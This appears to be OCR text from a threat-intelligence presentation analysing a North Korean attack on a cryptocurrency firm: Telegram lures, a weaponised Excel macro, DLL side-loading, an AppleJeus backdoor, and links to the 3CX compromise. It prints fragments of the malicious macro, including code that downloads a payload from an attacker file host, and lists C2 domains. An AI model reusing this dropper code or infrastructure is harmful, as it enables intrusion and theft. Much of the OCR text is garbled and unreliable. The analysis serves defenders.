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O, What will be covered?

/ The Correlation Between Cryptocurrency Markets and
Nation State Interest

( A Detailed Analysis of a Targeted Attack

/ Examining the Bigger Picture: Connecting the Dots
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v Cryptocurrency Industry Overview

HECERELE CRYPTOCURRENCY MINING MARKET SIZE, 2023 T0 2032 (USD BILLION) The market size is anticipated to reach
$7 billion by 2032 according to predictions.
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i Interest in Cryptocurrency
Among Nation-States

R Techirunch
North Korea-backed hackers breached Jump Cloud to
cryptocurrency clients
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Targeted Attack by Citrine Sleet Overview

North Korea’'s Crypto Operations Are Supporting Its
Z= I R o\ /A=Y N - Nuclear Program

) North Korea sees cryptocurrency as a lifeline amid pandemic-induced devastation to

Citrine sleet its regular economy.

North Korea: Missile programme
funded through stolen crypto, UN
report says

Focus on targeting financial

North Korea
($)

institutions and

(
|
|
|
|
|
|
|
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28D cryptocurrency exchanges. How North Korea Used Crypto to

{3, Use of social media, supply Hack Its Way Through the Pandemic
chain attacks, trojanised
appS, Iure and decoy' CYBERSECURITY ADVISORY

) .
v = TraderTraitor: North Korean State-Sponsored APT
Targets Blockchain Companies
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*, Targeted Attack by Citrine Sleet Overview

(- -]
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Threat actor I
i
INITIAL COMPROMISE LAUNCH EXECUTION PERSISTENCE IMPACT C&C
O
% =5
et the ; 3 Logagent exe 15 used 1o Wsock 2.2 dll decodes Backdoos
DEV-0139 irwvites the The weaponized Excel file The macro parses the PMNC : ‘
target to a Telegram chat Bnerks. st abiuscatel file to extract three sideload the malicious the XOR encoded communicates to
and gains their trust, macro to extract a second executables: logagent.exe, wsock 32.dll. backdoor and runs it strainservice(.]Jcom
worksheet dropped into wsock 32.dll and an XOR in the system.
The actor then sends a C\ProgramOata\Microsoft encoded backdoor
weaponized Excel file Mediah.

under the guise of a
consultation

0. 0.

The second worksheel also Then it runs logagent. exe Wsock32 dll uses DLL
contains a macro that using the following proxying through the real
downloads a PNG file command line: wsock32.dll to run legitimate

from an OpenDrive. functions and avoid detection.

AUSTRALIAN B L e it e e A e e i
CYBER | logagent. exe 56762eb9-411c-4842-9530-9922c46ba2da /shadow |
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“*The Initial Step: Establishing Trust

e Cryptocurrency investment groups on
Telegram

e |In the specific attack, the attackers got in
touch with their target on October 19, 2022

e Created a secondary Telegram group with the
: I o«
name <NameOfTheTargetedCompany> <>

@ OKG -nstitutional Business Suppon @ OKG 4nstitutional Business Support

OKX Fee Adjustment> and invited three
employees

e Used fake profiles with details from
employees of the company OKX

o
last seen recently

g ksl

@ Managing Director of OKX (No listing offer) I a [Iloxe
Bio b

.r:_‘;. Managing Director of DEX (Mo listing offer)
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e Weaponized Excel document containing further details on the fees to appear
legitimate with the name: “OKX Binance & Huobi VIP fee comparision.xls”

e Used the fee structure discussion as an opportunity to ask the target to open the

The Compromise Begins **

weapohnized Excel file and fill in their information

| o Arial Wil o KA == #- PwWoeple General w -F | .d Hormal Bad Good Heutral [Caleulation | Tl
| Bz copy = o == [F] it =
P . - &Sea-| =B = - . i Condstianal Fy Check Cell | anator m ! M.-: F s-ma Fand &
e ot fomutpuinese |7 Y »-a- | =E= =5 CieEacae §- % 8 ek :::r Explanstory . Eotousttip thosink  [WOML] | et Deee fomw | SO S Feds
Chpboard S Foni Alignment & Humber ] Styles Cells Ediding .
0 PRODUCT ROTICE  Excel husn't been activated. To keep uaing Excel without interruption, activate before Thuriday, October 27, 2022 Actreate =
al - & || oxx w
4 B c D E E G H ! 4 K L M H ] P Q R ] T u v w -
1] OKX 1 Binonee
2
3
4 Spot Trading
5 Meel Both Requirements BHNB fee deductions 25% off
6 Lavearl 30d Trade Vieluma (BTC) BNE Balance Makar Takar Makar Taker
T VIR 1 1,000,000 BUSD * 25 BNB 00900% 0. 1000% 0.DETE%: 0.0750%
8 ViP 2 z 5,000,000 BUSD 2z 100 BNE 0B00% 0.1000% 0.0600% 0.0750%
q Tier 30D Veluma (USD) Maker Taker | 300D Velume (USD)| Maker| Taker | 300 Velume (USD) Maker Taker 300 Volurme (USD) | Maker | Taker | Daily Withdrawal Limit (BTC) VIP 3 = 20,000,000 BUSD z 250 BNB 0.0700% 0.1000% 0.0525% 0.0750%
10 VIR 1 = 10,000,000 0.060% 0.080% = 50000000  [0.010% 0.030% & 50,000,000 0.010% 0.030% & 5,000,000 0.010% | 0.020% &00 VIP 4 = 100,000,000 BUSD = 500 BNB D0200% 0.0400% 0.0150% 0.0TE0%
11 ViP 2 & 20,000,000 0.050% 0.070% = 100,000,000  [0.008%| 0.030% = 100,000,000 0.005% 0.030% = 10,000,000 0.008% | 0019% 800 VIP § = 150,000,000 BUSD 2 1,000 BHEB 0.0200% 0.0400% 0.0150% 0.0300%
12 VIF 3 = 30,000,000 0.030% QLOB05: = 200,000,000 |0005%| 0.030% = 200,000,000 0,000 0030% = 25 000,000 0.005% | 00175 1,000 VIF B 2 400,000,000 BUSD 21,750 BNB 00200% 0.0400% 0.0150% 0.0300%
13 VIF 4 = 100,000,000 0.020% 0.050% = 600000000 [0.002%| 0.025% = 600,000,000 0.000% 0.025% = 40,000,000 0.002% | 0.015% 1,200 VIE T = 800,000,000 BUSD 3,000 BNE 0.0200% 0.0400% 0.0150% 0.0300%
Rl VIP & & 200,000,000 0.000% 0.040% & 1000000000 [0.000% 0.025% & 1,000,000.000 -0.002% 0.025% = 1000000000 | 0000% | 0.015% 1,500 VIP B = 2.000,000,000 BUSD =4 500 BNE D.0200% 0.0400% 0.0150% 0.0200%
1% VIP & & 500,000,000 (0025 0.030% & 1.500,000.000 |=#=sss| 0.025% = 1.500.000.000 -0.005% 0.025% = 1500000000 [-0005%] 0.015% 1,800 VIP 3 2.4,000,000,000 BUSD 2 5500 BNE 0.0200% 0.0400% 0.0150% 0.0300%
16 WIP 7 = 1,000,000,000 00055 0.025% = 2000000000 |=ssss| 0025% = 2,000,000,000 00108 0.025% = 2)000,000,000 00109 0u015% 2,000
17 VIF 8 = 10,000,000,000 -(,005% n.020% = 20000000000 | ereee | 0.020% = 20,000,000,000 -0.010% 0.020% = 20000000000 |[-0.010%)] 0.013% 2,000 Futures Trading
18 DM 4 -(005% 0.025% DM 4 sreew | 0020% DMM 4 -0.015% 0.020% USD-Margined Futures
19 Meat Both Requirsmants BB fee deductions 10% off
20 Lawerd 30d Trade Volume (BTC) BNE Balance Maker Taker Maker Taker
il VI 1 2 15,000,000 BUSD = 25 BNB 0.0160% 0.0400% 0.0144% 0.0350%
22 VIR 2 = 50,000,000 BUSD 100 BHE 00140% 0.0350% 00128% 0.0315%
23 WIF 3 Z 100,000,000 BUSD 2 50 BNB 00120% Q.0E20% 0.0105% 0.0&58%
24 VIP 4 2 B00,000, 000 BUSD 2 500 BNE r010% 0.0300% 0.0090% 0.02T0%
il VIF 5 2 1,000,000, 000 BUSD 2 1,000 BB 00080% 0.02T0% 0.007E% 0.0243%
26 VIP & = 2.500,000,000 BUSD 1,750 BNB 0.0060% 0.0250% 0.0054% 0.0225%
27 | VIPT = 5,000,000,000 BUSD = 3,000 BNE D0040% 0.0220% 0.0025% 0.0158%
28 VIP g & 12,500,000.000 BUSD z 4 500 BNB b0200% 0.0200% 0.0018% 0.0180%
3 VIF S & 25,000,000.000 BUSD 4 5,500 BNB 0.0000% 0.0200% 0.0000% 0.0180%
30
A Codn-Margined Fitures
iz Meat Both Requirements
33| Lavel 30d Trade Volume (BTC) BNE Balance Makaor Takar
H WIF 1 2 15,000,000 BUSD = 25 BNB 0.0080% 0.0450%
35 ViIF 2 & 50,000,000 BUSD 2 100 BNE 0.0050% 0.0400%
3% VIP 3 = 100,000,000 BUSD = 250 BNB 0.0030% 0.0300%
w VIP 4 = 600,000,000 BUSD = 500 BNB 0.0000% 0L.0250%
8 VIF 5 2 1,000,000, 000 BUSD 1,000 BNB 00050 0.0240% -
—~ 'y Comparison_Oct 2022 ® | [}
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Analysis of Malicious Excel File =

‘@ Fle Edit View Inset Fgrmat Debug Bun  Tools  Adddns  Window Help

e The obfuscated macro uses UserForm to

- s r o B NFY 2@

[1Generan

- store data and variables and drops a

=158 :

| Opeion Explicic

B3 Mool Exeel Objects

Sheetl
ThesWor

B3 Forms
B ruzoTToe

(Comparison_Oct 2023)

o0k

Sub UNOITERF()

Call KIFYDIVE

Fnd Sub

seconhd malicious Excel file.
e The second file retrieves a PNG file that

= .ﬁ VBAProject (DKX Binance & Huobi VIP fee comparision..]
|
|
|
|

1

Sul KIPYDEVE ()

Dam HLVIQ2H, VSEODHQ
Dim TVVOXTO() As Byte

Set HLVIQESH = Createlbject (IFUZYDITOF.nPuyGkKr.Caption & IFUZYDITOF.JpqeCxUd.Caption)

Set VESHODNHQ = HLVIQBH.CreatsElement (IFUZYDTTOP.QevwicDIZF.Caption)

VSEQDHQ. DataTyps = IFUZYDTIOF.MgOnQVGb.Caption
VERODMO.Text = IFOZYDTTOP. iuiITrLlG.Caption
TWVVORTO = VSKQDNHO.neodeTvpedValue

Dim SADSTPE Aa String
Dim CIKEFRS As Sctring

contains two executable files and an
encrypted backdoor, which are parsed
by the macro.

VERODHO.Text = IFUZYDTTOR. hMcZvwhg.Capticn
SADSTFE = VSKQDHQ.nodeTypediValue

Insert

Format Debug Run

Tools Add-Ins Window Help

n a K ¥FY »Q s

Alphabetic | Categonzed | : EHEN | ) b
| [riame) ThcWors = VEHODNO.Text = IFUZYDTTOR.DDFyQLPa.Capticn . = 2 34 L ) 4
P . a CJEFEES = VSEQDHQ.nodsTypedValus = VBAProi
| [Autesavetn Faize FID;IECIZ ro)
A P a If Dir (SADSTFE, vbDirectory) = "* Then
| Call UHIBPEDL (SADSTEE) E
lchangetistonDuration |0 E @
] Else
|Char thataPointTrack Faise
End If
jChediCompathdity True - - - L.
| Conticsessution 1 - ¥iserfesoltion = & VBAProject (OKX Binance & Huobi VIP fee comparision....)
Cate 1904 Folse If Diz (SADSTPE & CJUEFHS) = = Then L o .
DepioyDrawrgCbiects | 4104 - xiplays? Call BQMHAMNS (SADSTPE & CJKFFRS, TVVOKTC) E*ﬂ Microsoft Excll Objects
[DesplayInkComments True :i;e“ m Sheet1 (Cofgparison_Oct 2022)
Erible AutoRies ter True QrRDG
i Set HLVIQEBH = Mothing E = F
E i False Set VSKQDNQ = Nothing B3 Forms
Froa Fase L8] IFUZYDTTOP
IForceFulCaloulation False Dip VOFMBIX As Object
jHighlghtChangesOnSareen
1 foees i 5: Ser VOFHMBEX = Creatalbject (IFUZYDTTOP. PwXgwErw.Caption &
= ?:: Call JUNHDOIN (VOFMBEX, SADSTFE & CJKFFKS)
ListChangesOnbiewshest  False
assword 000 seesesas Dim PIUVEHAL As Shape
E " etings True Dim WWHMISMI As Worksheeo
[PersonaliiewPrintSettngs True
e Py — i False For Each WEMISHI In ActiveWorkbookK.Workaheeta
bendcehs i Fake WWMISMI.Select
5 Enmwd’l:wwﬂnfwm
o x WWMISHMI.Unprocect ("dragon™)
I
/
L
E _ 2 Properties - IFUZYDTTOP xl
AUSTRALIAN
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Analysis of Malicious Excel File

PubLic Function GetPAG() The PNG is retrieved from a temporary
JN Error KesuUume Nex -
OpenDrive server set up by the attackers.

Dim Request As Object
Dim URL As String
Set Request = CreateObject(MSXML2.ServerXMLHTTP )

URL = "https://od.lk/d/d®21d412bed56a61/8a0052al1t0e3557dctaldbf2519d0T1d0d2d/dcdac86¢c/3/Background. png"
Reques :n Get, URL, False

Damiact Come
Request.Send

If Request.Status = Then
GetPNG = Request.ResponseBody

Else *00

Application.Quit

= ._I- - .';'1:. £, '|.- dacaent = nn ..j = ‘I .'|'1:. _[‘I; COC _:::_‘_-. '| 'i = umn = ‘I - .II:.Iq ‘[. | -l-l = [} -
end T+ If Dir(PATH & logagent) Or Dir{PATH & sockdll) Or Dir(PATH & IDD11) Then

Set Request = Nothing e S AR
If Dir{(PATH & logagent) = Then

Call WriteFile(GetPNG, PATH & logagent,
Else
End If

End Function

IT Dir{PATH & sockdll) = "" Then

The PNG is split into 3 different files: 0 UIERRIGEEEEs, B & et
End If

- Logagent.exe

- WSOCk32_d“ If Dir(PATH & IDD11) = "" Then

Call WriteFile(GetPNG, PATH & IDD11,

- 56762eb9-411c-4842-9530-9922c46ba2da e

Else

End If

AUSTRALIAN
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% Payload Decoding & Execution

Execution

|

|

|

|

The macros parses the PNG file to extract !

m the executables and the command line |
I
|
|
|

|

|

|

|

|

|

|

|

|

| parameter. ﬁ
|

: Background.png _
. .
|

|

|

|

|

|

|

|

|

|

|

|

| |
: E‘ Legitimate logagent.exe used Malicious DLL using DLL - YOR encoded :
{ ¢ to side load the malicious dll. proxying technique to the backdoor. :
| EXE legitimate wsock32.dll. I
I Logagent.exe Wsock32.dll 56762eb9-411c-4842-9530-9922¢46ba2da :

DLL Side-Loadea DLL Proxying I &
DLL

Logagent.exe Wsock32.dll
AUSTRALIAN Wsock32.dll
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* Final Backdoor

e The backdoor is used to collect information on the targeted machine.
e All strings and API calls are obfuscated using a custom algorithm.

e The network request follows this pattern:
o GET hxxps://strainservice[.lcom/resources?a=16668600778&v=1666527365

Decoded implant that is a
variant of the Appleleus
Malware attributed to DPRK
by CISA.

|
|
|
|
|
C2 domain: Strainservice[.Jcom, |
identified in 2 similar campaigns. |
|
:
|
|
|
|

Backdoor / C&C

Implant

|
|
|
|
|
I
|
|
|
|
I
|
|
|
|
|
L
AUSTRALIAN |
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3&Related Attacks

e Other attacks has been observed using
fake or trojanised applications.

< C & bloxholder.com

e The DLL proxying technique is
. BloxHolder B consistent across those campaigns.

e Name HijackinglLib.dll consistent

The world's most advanced - y———— v
= = L = toDashboar etu =
automated crypto trade bots e i
ey g g e ey Select Installation Folder J
rapidly develop, backtest, and deploy high frequency I
crypto s of cryptocurrency
exchanges in minutes, not hours.
The installer will install CryptoDashboardV2 to the following folder.
Learn More
To install in this folder, click "Next". To install to a different folder, enter it below or click
"Browse".
Folder:
iC: \Program Files\CryptoDashboardV2\ Browse...
TradeServer Cloud
Get the power of BloxHolder’s flagship product without the technical @ Everyone
complexity of managing your own instance and enjoy the ease of clou
management. You will be up and running in minutes with 99.9% uptin O Just me
our sécure enterprise infrastructure.
Cloud Hosted Hassle-free Maintenance Access Anywhere
AUSTRALIAN < Back Next > Cancel
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¥ Diamond Model of Intrusion Analysis
Adversary

The North Korea government has long term
interest in the financial industry with more
recently a focus on the crypto currency market

The target is a crypto currency investment funds
which has been DPRK’s targets of interest as o
reported by the Financial Services Agency of Japan v‘

CYBER Victim
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3CX Supply Chain Attack 5%

C:\Users\<USER>\AppData\Local\Programs\3CXDesktopApp\app\Update.exe --Update

® CX hxxps:/[<company>.<state>.3cx[.]us/electron/update/win32/18.12.x.x
** The 5CX Connection
* {'ﬁ&-ﬁé """ acxlwd Tttt

Downloads ! Status: Valid
Affected 3CX Versions ! Issuer: Sectigo RSA Code Signing CA

*Q* GCXDGSRtOpApp'1B12416m3i i Valid From:  12:00 AM 11/02/2020

i Valid To: 1:59 PM 11/02/2023
3CXDesktopApp-18.12.407.msi i Valid Usage: Code Sighing

| Algorithm: sha256RSA

| Thumbprint:  87C6DS53A296D7473451DS3CAA298EFAIB48TOAD

i Serial Number: 1B 66 11 DF 9C 9A 4D 6€ CC 8E DS 0C 9B 9178 73

N e

—

C:\Users\<USER>\AppData\Local\Programs\3CXDesktopApp\3CXDesktopApp.exe

[}
Loads ‘\
n \":} Creates an event with the name "AVMonitorRefreshEvent" and

bloxholder.com e -
telloo.io
D

, checks if it already exists. If it does, the function exits.
ffmpeg.dll

4

[

]

\‘J @h Shellcode located to FE ED FA CE hex strings
Decryfp'}s RCY shellcode ,/7 D ERCOoge located 1o ex string

usa'nﬁ the keg-‘ 'I%'B(ZESG#@CT ,’, d3dcompiler.dil

'

- strainservice.com Citrine Sleet C2 Domains {g’ o S .
c e shellcode is responsible for loading the exporte
targeting Cryptocurrency g . — oo?| function “DiiGetClassObject” from the decrypted DLL.
NERGE s wirexpro.com L — S|
i accept.-language: en-US.en;g=0.9 E E
i accept-encoding: gzip: deflate, br E '
i‘ z::::tj_ﬁ:;:::;ﬁz:inecuid} i B} Checks or creates a ‘'manifest-appended file,

-

: AE{0y| generates a random number to wait using the specified
| g =

P date, and reads the "MachineGuid" from the registry.
V4 Decrypted DLL

oilycargo.co Deseded G2 from I0s

E’ msstorageazure(.Jcom/analysis
P officestoragebox(.Jcom/apifbiosync
b visualstudiofactory[.Jcom/groupcore
f azuredeploystore([.Jcom/cloud/images
e msstorageboxes(.Jcom/xbox
: « officeaddons[.Jcom/quality

: + sourceslabs[.Jcom/status

g zacharryblogs(.Jcom/xmiquery
i

1

1

1

1

i

i

[

I

[

1

1

1

1

1

I,

I

I

I

1

I

I

I

1

I

1

I

1

I

i

* pbxcloudeservices[ Jeom/network A
1 ! . . .
+ pbxphonenetworkl.Jcom/phone A @Remeve a JSON that contains a payload encoded in base64.

I E I-',h
I

1

I

1

1

I

I

I

I

[

¥

Downloads ICO containing the C2 Base64 encoded and AES + GCM encrypted.
1€0_Jhxxps://raw.githubusercontent(.Jcom/lconStorages/images/main/icon[1-15).ico

+ akamaitechcloudservices(.Jcom/v2/fileapi R Ty " "
. . - < >
. sonlingst () lefst { url™"™, descrlptlon o, meta: V)‘OAAL4D truncated }

gepackageinfo[.Jcom/ms-webview
vice[.lcom/vi/status

oglevent-trainings/

AUSTRALIAN
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Install an information-stealer payload.
¥ @FROGGER _
THomas Roccla
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LJ Additional Resources

o https://www.microsoft.com/en-us/security/blog/2022/12/06/dev-0139-launches-
targeted-attacks-against-the-cryptocurrency-industry/

e https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-
applications-serving-as-front-for-applejeus-malware/

o https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-
attack/109344/

e https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWlaFywW

e https://twitter.com/frOgger /status/1641668394155151366

AUSTRALIAN
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